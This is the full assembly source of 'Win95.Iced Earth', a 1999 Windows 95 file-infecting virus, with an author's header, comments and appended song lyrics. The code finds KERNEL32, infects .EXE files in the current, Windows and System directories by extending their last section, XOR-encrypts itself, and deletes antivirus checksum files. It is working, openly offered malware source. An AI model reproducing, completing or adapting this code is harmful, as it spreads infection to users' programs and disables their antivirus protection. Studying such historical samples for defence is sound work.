; -ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú- ; Win95.Iced Earth Copyright (c) 1999 by Billy Belceb£/DDT ; -ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú- ; ; I began this virus a very boring day, and finished it, and had bugs. But i ; felt like it wasn't fair to publish a buggy virus as this was, and i took ; its code another boring day, deleted all, and make it again. Heh, thanks to ; that "masochist" action, i realized that in only 4 hours i could write a ; windoze virus, fact that gave me more moral to continue coding. Of course, ; all code is mine, and not as i used to do in my first attempts to code my ; first PE infector. To all those guyz that enjoy copying code, i can say ; that there is nothing compared to the feeling you have when something you ; coded from the nothing works very well, and, doesn't matter if the virus is ; simple or not, no one can steal your feeling. What is new now compared with ; beta? Well, now it is more optimized, non-used code was removed, and many ; fool bugs are killed. In fact, this virus is 90% (if not 100%) new compared ; with the beta. This project never was one of my ambitious ones, as you can ; think. ; ; By the way, this virus was called "Prosthetic" almost all its creation ; process, but due to last hour feelings, i changed its name. I'm sure that ; AV will call it Win95.Iced, but who cares, it still sounds good! And maybe ; you are wondering why i called it "Iced Earth". Well, this has a simple ; explanation: when zAxOn and I went to Blind Guardian's concert, another ; band we never had heard played before, called Iced Earth. Well, when they ; appeared, with their "peculiar" appearence nothing could ever make us think ; about how cool were them. When they began to play, we were completly stoned ; and wondering why we haven't heard anything of them before. Whatta band!!!! ; ; Hrm, about the virus i have not much to say, just because it's a direct ; action PE infector, by means of the method of increase the last section of ; the file. This virus doesn't like files that allocate more memory than its ; size (it gave problems because my strange way for infect PE files), but i ; think it should infect several files besides that ones. Hey, maybe it's not ; the preetiest girl in the party, but what the fuck, she has come! Well, it ; searches for KERNEL32 base address by my little method, explained in this ; e-zine. This virus is encrypted using the exclusive OR method (XOR), and ; using as key the time passed since Windows was initialized (a DWORD), also ; known as GetTickCount API. I use SEH to avoid non-wanted errors. Hrm... I ; almost forgot: it infects 3 files in the current directory, as well as 3 ; files in \WINDOWS directory and its \SYSTEM directory. The virus deletes ; some "bad" files, all those shitty CRC files, such TBAVz, AVPz and more. ; ; Many improvements would feature in future revisions/rewrites of this virus, ; such as polymorphism (very possible), per-process residency (it's easy, but ; i should work in new techniques for this one) or global residence (if i get ; it in NT too, i will add this) plus much more logical and structural opti- ; mization (i know some locations of this virus where i could optimize much ; more, for example, killing that JUMPS directive, but anyway, i will wait ; until another version...) and of course, solve all the possible bugs in the ; virus, for example, in the infection while WinNT is running (infected files ; don't work). ; ; And remember... Hate every motherfucker that's in your way ; ; Billy Belceb£, ; mass killer and ass kicker. ; ; -ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú- .586p .model flat jumps ; ÚÄ----ùùùúúú ú ; : Iced Earth virus - Data, macros and such like shit : ; ú úúúùùù---ÄÄÙ extrn MessageBoxA:PROC extrn ExitProcess:PROC virus_size equ (offset virus_end-offset virus_start) heap_size equ (offset heap_end-offset heap_start) encrypt_size equ (virus_end-crypto) non_crypt_size equ (virus_size-encrypt_size) total_size equ virus_size+heap_size section_flags equ 00000020h or 20000000h or 80000000h temp_attributes equ 00000080h n_infections equ 04h bad_number equ 09h mark equ 04Ch ; Only hardcoded for 1st generation, don't worry ;) kernel_ equ 0BFF70000h ; Interesting macros for my code cmp_ macro reg,joff1 ; Optimized version of inc reg ; CMP reg,0FFFFFFFFh jz joff1 ; JZ joff1 dec reg ; The code is reduced in 3 endm ; bytes (7-4) apicall macro apioff ; Optimize muthafucka! call dword ptr [ebp+apioff] endm rva2va macro reg,base ; Only for make preetiest the add reg,[ebp+base] ; code ;) endm .data szTitle db "Iced Earth v1.00",0 szMessage db "Iced Earth are",13,13 db "Jon Schaffer - Guitar, Backing Vocals",13 db "Matthew Barlow - Vocals",13 db "James MacDonough - Bass",13,13 db "Viral version coded by:",13 db "Billy Belcebu/DDT",0 .code ; ÚÄ----ùùùúúú ú ; : Iced Earth virus - Virus startz here : ; ú úúúùùù---ÄÄÙ virus_start label byte prosthetic: pushad ; Push all da shit pushfd call delta ; Hardest code to undestand ;) delta: pop ebp sub ebp,offset delta lea edi,[ebp+crypto] mov ecx,encrypt_size @@@1: xor dword ptr [edi],12345678h org $-4 ; Overlapping r0x0r xor_key dd 00000000h add edi,4 loop @@@1 crypto equ $ call ChangeSEH ; SEH rlz. mov esp,[esp+08h] jmp RestoreSEH ChangeSEH: xor ebx,ebx push dword ptr fs:[ebx] mov fs:[ebx],esp mov esi,[esp+2Ch] ; Get program return address and esi,0FFFFF000h ; Align to page xor ecx,ecx ; Max level mov cl,50h call GetK32 asakopako: mov dword ptr [ebp+kernel],eax ; EAX must be K32 base address lea edi,[ebp+@@Offsetz] lea esi,[ebp+@@Namez] call GetAPIs ; Retrieve all APIs call PrepareInfection call InfectItAll xchg ebp,ecx ; Is 1st gen? jecxz fakehost RestoreSEH: xor ebx,ebx pop dword ptr fs:[ebx] pop eax popfd popad push offset fakehost ; Here goes Old EP RVA ret EntryPointRVA equ $-5 PrepareInfection: lea edi,[ebp+WindowsDir] push 7Fh push edi apicall _GetWindowsDirectoryA add edi,7Fh push 7Fh push edi apicall _GetSystemDirectoryA add edi,7Fh push edi push 7Fh apicall _GetCurrentDirectoryA ret InfectItAll: lea edi,[ebp+directories] mov byte ptr [ebp+mirrormirror],dirs2inf requiem: push edi apicall _SetCurrentDirectoryA call DeleteShit push edi call Infect pop edi add edi,7Fh dec byte ptr [ebp+mirrormirror] cmp byte ptr [ebp+mirrormirror],00h jnz requiem ret ; ÚÄ----ùùùúúú ú ; : Iced Earth virus - Searching... Seek and infect! : ; ú úúúùùù---ÄÄÙ Infect: mov dword ptr [ebp+infections],00000000h ; reset countah lea eax,[ebp+offset WIN32_FIND_DATA] ; Find's shit push eax lea eax,[ebp+offset EXE_MASK] push eax apicall _FindFirstFileA cmp_ eax,FailInfect mov dword ptr [ebp+SearchHandle],eax __1: call Infection inc byte ptr [ebp+infections] cmp byte ptr [ebp+infections],n_infections jz FailInfect __2: lea esi,[ebp+WFD_szAlternateFileName] mov ecx,13 xor al,al rep stosb lea eax,[ebp+offset WIN32_FIND_DATA] push eax push dword ptr [ebp+SearchHandle] apicall _FindNextFileA cmp_ eax,CloseSearchHandle jmp __1 CloseSearchHandle: push dword ptr [ebp+SearchHandle] apicall _FindClose FailInfect: ret ; ÚÄ----ùùùúúú ú ; : Iced Earth virus - Kill undesirable files... : ; ú úúúùùù---ÄÄÙ DeleteShit: pushad lea edi,[ebp+@@BadPhilez] mov ecx,bad_number killem: push ecx push edi apicall _DeleteFileA pop ecx xor al,al scasb jnz $-1 loop killem popad ret ; ÚÄ----ùùùúúú ú ; : Iced Earth virus - Infect given file : ; ú úúúùùù---ÄÄÙ Infection: lea esi,[ebp+WFD_szFileName] ; Get FileName to infect push 80h push esi apicall _SetFileAttributesA ; Wipe its attributes call OpenFile ; Open it cmp_ eax,CantOpen mov dword ptr [ebp+FileHandle],eax mov ecx,dword ptr [ebp+WFD_nFileSizeLow] ; 1st we create map with call CreateMap ; its exact size cmp_ eax,CloseFile mov dword ptr [ebp+MapHandle],eax mov ecx,dword ptr [ebp+WFD_nFileSizeLow] call MapFile ; Map it cmp_ eax,UnMapFile mov dword ptr [ebp+MapAddress],eax mov esi,eax ; Get PE Header mov esi,[esi+3Ch] add esi,eax cmp dword ptr [esi],"EP" ; Is it PE? jnz NoInfect cmp dword ptr [esi+mark],"DECI" ; Was it infected? jz NoInfect push dword ptr [esi+3Ch] push dword ptr [ebp+MapAddress] ; Close all apicall _CloseHandle push dword ptr [ebp+MapHandle] apicall _CloseHandle pop ecx mov eax,dword ptr [ebp+WFD_nFileSizeLow] ; And Map all again. add eax,virus_size call Align xchg ecx,eax call CreateMap cmp_ eax,CloseFile mov dword ptr [ebp+MapHandle],eax mov ecx,dword ptr [ebp+NewSize] call MapFile cmp_ eax,UnMapFile mov dword ptr [ebp+MapAddress],eax mov edi,esi movzx eax,word ptr [edi+06h] dec eax imul eax,eax,28h add esi,eax add esi,78h mov edx,[edi+74h] shl edx,3 add esi,edx mov eax,[esi+08h] add eax,[esi+14h] mov ebx,dword ptr [ebp+WFD_nFileSizeLow] cmp eax,ebx jb continue_infection stc jmp NoInfect continue_infection: mov eax,[esi+10h] push eax mov eax,dword ptr [ebp+WFD_nFileSizeLow] add eax,virus_size sub eax,[esi+14h] push eax add eax,[esi+08h] mov ecx,[edi+3Ch] call Align mov [esi+10h],eax pop eax xadd dword ptr [esi+08h],eax mov ecx,[edi+34h] add ecx,[edi+28h] mov dword ptr [ebp+EntryPointRVA],ecx pop ecx mov edx,[esi+08h] sub edx,virus_size add edx,[esi+0Ch] sub edx,eax mov [edi+28h],edx mov eax,virus_size mov ecx,[edi+3Ch] call Align add dword ptr [edi+50h],eax or dword ptr [esi+24h],section_flags mov dword ptr [edi+mark],"DECI" push dword ptr [ebp+infections] mov dword ptr [ebp+infections],00000000h apicall _GetTickCount mov dword ptr [ebp+xor_key],eax xchg ebx,eax lea esi,[ebp+prosthetic] mov edi,dword ptr [ebp+WFD_nFileSizeLow] add edi,dword ptr [ebp+MapAddress] mov ecx,non_crypt_size rep movsb mov ecx,encrypt_size/4 cl_1: lodsd xor eax,ebx stosd loop cl_1 pop dword ptr [ebp+infections] jmp UnMapFile NoInfect: dec byte ptr [ebp+infections] mov ecx,dword ptr [ebp+WFD_nFileSizeLow] call TruncFile UnMapFile: push dword ptr [ebp+MapAddress] apicall _CloseHandle CloseMap: push dword ptr [ebp+MapHandle] apicall _CloseHandle CloseFile: push dword ptr [ebp+FileHandle] apicall _CloseHandle CantOpen: push dword ptr [ebp+WFD_dwFileAttributes] lea eax,[ebp+WFD_szFileName] push eax apicall _SetFileAttributesA ret ; ÚÄ----ùùùúúú ú ; : Iced Earth virus - Get KERNEL32.DLL base address (simplest method) : ; ú úúúùùù---ÄÄÙ GetK32 proc _@1: jecxz WeFailed cmp word ptr [esi],"ZM" jz CheckPE _@2: sub esi,1000h dec ecx jmp _@1 CheckPE: mov edi,[esi+3Ch] add edi,esi cmp dword ptr [edi],"EP" jz WeGotK32 jmp _@2 WeFailed: mov esi,kernel_ WeGotK32: xchg eax,esi ret GetK32 endp ; ÚÄ----ùùùúúú ú ; : Iced Earth virus - Get all API addresses : ; ú úúúùùù---ÄÄÙ GetAPIs proc @@1: push esi push edi call GetAPI pop edi pop esi stosd xchg edi,esi xor al,al @@2: scasb jnz @@2 xchg edi,esi @@3: cmp byte ptr [esi],0BBh jz @@4 jmp @@1 @@4: ret GetAPIs endp GetAPI proc mov edx,esi mov edi,esi xor al,al @_1: scasb jnz @_1 sub edi,esi ; EDI = API Name size mov ecx,edi xor eax,eax mov word ptr [ebp+Counter],ax mov esi,3Ch rva2va esi,kernel lodsw rva2va eax,kernel mov esi,[eax+78h] add esi,1Ch rva2va esi,kernel lodsd rva2va eax,kernel mov dword ptr [ebp+AddressTableVA],eax lodsd rva2va eax,kernel push eax ; mov [NameTableVA],eax =) lodsd rva2va eax,kernel mov dword ptr [ebp+OrdinalTableVA],eax pop esi @_3: push esi lodsd rva2va eax,kernel mov esi,eax mov edi,edx push ecx cld rep cmpsb pop ecx jz @_4 pop esi add esi,4 inc word ptr [ebp+Counter] jmp @_3 @_4: pop esi movzx eax,word ptr [ebp+Counter] shl eax,1 add eax,dword ptr [ebp+OrdinalTableVA] xor esi,esi xchg eax,esi lodsw shl eax,2 add eax,dword ptr [ebp+AddressTableVA] mov esi,eax lodsd rva2va eax,kernel ret GetAPI endp ; ÚÄ----ùùùúúú ú ; : Iced Earth virus - Some useful subroutines : ; ú úúúùùù---ÄÄÙ Align proc push edx xor edx,edx push eax div ecx pop eax sub ecx,edx add eax,ecx pop edx ret Align endp TruncFile proc xor eax,eax push eax push eax push ecx push dword ptr [ebp+FileHandle] apicall _SetFilePointer push dword ptr [ebp+FileHandle] apicall _SetEndOfFile ret TruncFile endp OpenFile proc xor eax,eax push eax push eax push 00000003h push eax inc eax push eax push 80000000h or 40000000h push esi apicall _CreateFileA ret OpenFile endp CreateMap proc xor eax,eax push eax push ecx push eax push 00000004h push eax push dword ptr [ebp+FileHandle] apicall _CreateFileMappingA ret CreateMap endp MapFile proc xor eax,eax push ecx push eax push eax push 00000002h push dword ptr [ebp+MapHandle] apicall _MapViewOfFile ret MapFile endp ; ÚÄ----ùùùúúú ú ; : Iced Earth virus - Virus data : ; ú úúúùùù---ÄÄÙ mark_ db "[Iced Earth by Billy Belcebu/DDT]",0 EXE_MASK db "*.EXE",0 infections dd 00000000h kernel dd kernel_ @@BadPhilez label byte ; Files to delete in all dirz ANTIVIR_DAT db "ANTI-VIR.DAT",0 CHKLIST_DAT db "CHKLIST.DAT",0 CHKLIST_TAV db "CHKLIST.TAV",0 CHKLIST_MS db "CHKLIST.MS",0 CHKLIST_CPS db "CHKLIST.CPS",0 AVP_CRC db "AVP.CRC",0 IVB_NTZ db "IVB.NTZ",0 SMARTCHK_MS db "SMARTCHK.MS",0 SMARTCHK_CPS db "SMARTCHK.CPS",0 @@Namez label byte @FindFirstFileA db "FindFirstFileA",0 @FindNextFileA db "FindNextFileA",0 @FindClose db "FindClose",0 @CreateFileA db "CreateFileA",0 @DeleteFileA db "DeleteFileA",0 @SetFilePointer db "SetFilePointer",0 @SetFileAttributesA db "SetFileAttributesA",0 @CloseHandle db "CloseHandle",0 @GetCurrentDirectoryA db "GetCurrentDirectoryA",0 @SetCurrentDirectoryA db "SetCurrentDirectoryA",0 @GetWindowsDirectoryA db "GetWindowsDirectoryA",0 @GetSystemDirectoryA db "GetSystemDirectoryA",0 @CreateFileMappingA db "CreateFileMappingA",0 @MapViewOfFile db "MapViewOfFile",0 @UnmapViewOfFile db "UnmapViewOfFile",0 @SetEndOfFile db "SetEndOfFile",0 @GetTickCount db "GetTickCount",0 db 0BBh dd 00000000h ; I want virus to be div by 4 virus_end label byte heap_start label byte NewSize dd 00000000h SearchHandle dd 00000000h FileHandle dd 00000000h MapHandle dd 00000000h MapAddress dd 00000000h AddressTableVA dd 00000000h NameTableVA dd 00000000h OrdinalTableVA dd 00000000h Counter dw 0000h @@Offsetz label byte _FindFirstFileA dd 00000000h _FindNextFileA dd 00000000h _FindClose dd 00000000h _CreateFileA dd 00000000h _DeleteFileA dd 00000000h _SetFilePointer dd 00000000h _SetFileAttributesA dd 00000000h _CloseHandle dd 00000000h _GetCurrentDirectoryA dd 00000000h _SetCurrentDirectoryA dd 00000000h _GetWindowsDirectoryA dd 00000000h _GetSystemDirectoryA dd 00000000h _CreateFileMappingA dd 00000000h _MapViewOfFile dd 00000000h _UnmapViewOfFile dd 00000000h _SetEndOfFile dd 00000000h _GetTickCount dd 00000000h MAX_PATH equ 260 FILETIME STRUC FT_dwLowDateTime dd ? FT_dwHighDateTime dd ? FILETIME ENDS WIN32_FIND_DATA label byte WFD_dwFileAttributes dd ? WFD_ftCreationTime FILETIME ? WFD_ftLastAccessTime FILETIME ? WFD_ftLastWriteTime FILETIME ? WFD_nFileSizeHigh dd ? WFD_nFileSizeLow dd ? WFD_dwReserved0 dd ? WFD_dwReserved1 dd ? WFD_szFileName db MAX_PATH dup (?) WFD_szAlternateFileName db 13 dup (?) db 03 dup (?) directories label byte WindowsDir db 7Fh dup (00h) SystemDir db 7Fh dup (00h) OriginDir db 7Fh dup (00h) dirs2inf equ (($-directories)/7Fh) mirrormirror db dirs2inf heap_end label byte fakehost: pop dword ptr fs:[0] pop eax popad popfd xor eax,eax push eax push offset szTitle push offset szMessage push eax call MessageBoxA push 00000000h call ExitProcess end prosthetic ; [][][][][][][][][][][][][][] BONUS TRACK [][][][][][][][][][][][][][][][] ; [] [] ; [] Well, as this virus has the name of a music group, i thought that a [] ; [] good idea could be to put here the lyrics of the most charismathic [] ; [] song (or songs) of the group. Maybe the best of the album "Something [] ; [] wicked this way comes", besides the ballad "Watching over me", is the [] ; [] trilogy, called "Something Wicked", that are three songs that tell us [] ; [] a very cool history about our race, the human race. Enjoy!!! [] ; [] [] ; [][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][] ; [] [] ; [] Prophecy [] ; [] ÄÄÄÄÄÄÄÄ [] ; [] I can see it clearly now, a painful vision indeed [] ; [] An attack on hallowed ground, from high above [] ; [] Alien to us, the species known as man [] ; [] A serious threat, in the eyes of The Elder [] ; [] So heed my warning, before our own existence falls near extinct [] ; [] Our culture is lost in ancient mystery, covered in the sands of time [] ; [] A sacred few will survive the massacre this night [] ; [] In secret they will meet a new society [] ; [] Ten thousand years from now, a child will be born [] ; [] I've seen the vision, the writing on the wall [] ; [] He'll walk the Earth, two thousand years or more [] ; [] Paving the way, for mankind's fall [] ; [] So there is hope you see, but we must act with great speed [] ; [] Assemble the chosen, the ones to lead, and morph them in the likeness [] ; [] of man [] ; [] Oppressed for centuries, await the prophecy [] ; [] The child will set us free, reclaim it rightfully [] ; [] We'll take their identity and live among them free [] ; [] All the while, plotting events that mold their identity [] ; [] We'll build the perfect beast with the knowledge that they seek [] ; [] If it takes ten thousand years, we never will retreat [] ; [] Assassins we will be, though human history [] ; [] Jesus Christ to Kennedy, the Domino Decree [] ; [] Disciples of the watch, prepare the coming curse [] ; [] If it takes ten thousand years, we never will retreat [] ; [] And so, our world is doomed, we'll lay claim again some day [] ; [] There is hope, in the birth of one, so many centuries away [] ; [] [] ; [] Birth of the Wicked [] ; [] ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ [] ; [] Daylight breaks hard on sacred ground [] ; [] For centuries we've questioned them of His birth [] ; [] But in this hour, on this day, The Elder knew [] ; [] Years of madness must now subdue [] ; [] Order must be enforce to hide the truth [] ; [] 'Cause on this day, in this hour it's coming true [] ; [] Child of the wicked and ancient man [] ; [] Baptized in black magic, their master plan [] ; [] Born of the Watch, his prophecy, by their command [] ; [] Conceived of the beast and in stars above [] ; [] We'll sahpe and guide him to undying love [] ; [] Born of the Watch, throug sands of time, by their command [] ; [] So, behold the birth, the wicked child [] ; [] Born of the Beast, in eastern sands [] ; [] He will arise, He will divide [] ; [] He has the power to bring the end [] ; [] It's up to now to seal his fate [] ; [] Marked with the proper math the child's none too late [] ; [] Blessed by the Beast, our Chosen One was born this day [] ; [] He'll rise from the ashes of our dying race [] ; [] Manipulate history, time and space [] ; [] The Elder, Men of the Watch, professed this day [] ; [] So, behold the birth, the wicked child [] ; [] Born of the Beast, in eastern sands [] ; [] He will arise, He will divide [] ; [] He has the power to bring the end [] ; [] Behold the birth, the wicked child [] ; [] Born of the Beast, in eastern sands [] ; [] He will arise, He will divide [] ; [] He has the power to bring the end [] ; [] [] ; [] The Coming Curse [] ; [] ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ [] ; [] I walk the Earth just as they planned [] ; [] Baptized in fire for my ancient land [] ; [] The coming curse, your anti-Christ, i am the Watcher's eye [] ; [] I vindicate and cleanse the Earth of all mankind [] ; [] For many years, i've walked among you [] ; [] Through the folds of time and space [] ; [] Kindoms fall, leaders die, as i see fit [] ; [] I devour souls of those that pose a threat [] ; [] I walk the Earth another day [] ; [] The wicked one that comes this way [] ; [] Savior to my own, devil to some [] ; [] Mankind falls, something wicked comes [] ; [] I bide my time planning your fate [] ; [] With bated breath, The Elder wait [] ; [] The coming curse, your anti-Christ, I am the Watcher's eye [] ; [] For your crimes on our kind you all will die [] ; [] I walk the Earth another day [] ; [] The wicked one that comes this way [] ; [] Savior to my own, devil to some [] ; [] Mankind falls, something wicked comes [] ; [] Forged in the sacred flames [] ; [] On the sixth day [] ; [] Of the sixth month [] ; [] In the sixth hour [] ; [] I am your anti-Christ, I will destroy mankind [] ; [] Born of the beast and flames [] ; [] I will devour, i will divide [] ; [] Hellfire rages in my eyes [] ; [] Blood will fall like rain this night [] ; [] The coming curse, your anti-Christ, i am the Watcher's eye [] ; [] I vindicate and cleanse the Earth of all mankind [] ; [] I walk the Earth another day [] ; [] The wicked one that comes this way [] ; [] Savior to my own, devil to some [] ; [] Mankind falls, something wicked comes [] ; [] [] ; [][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]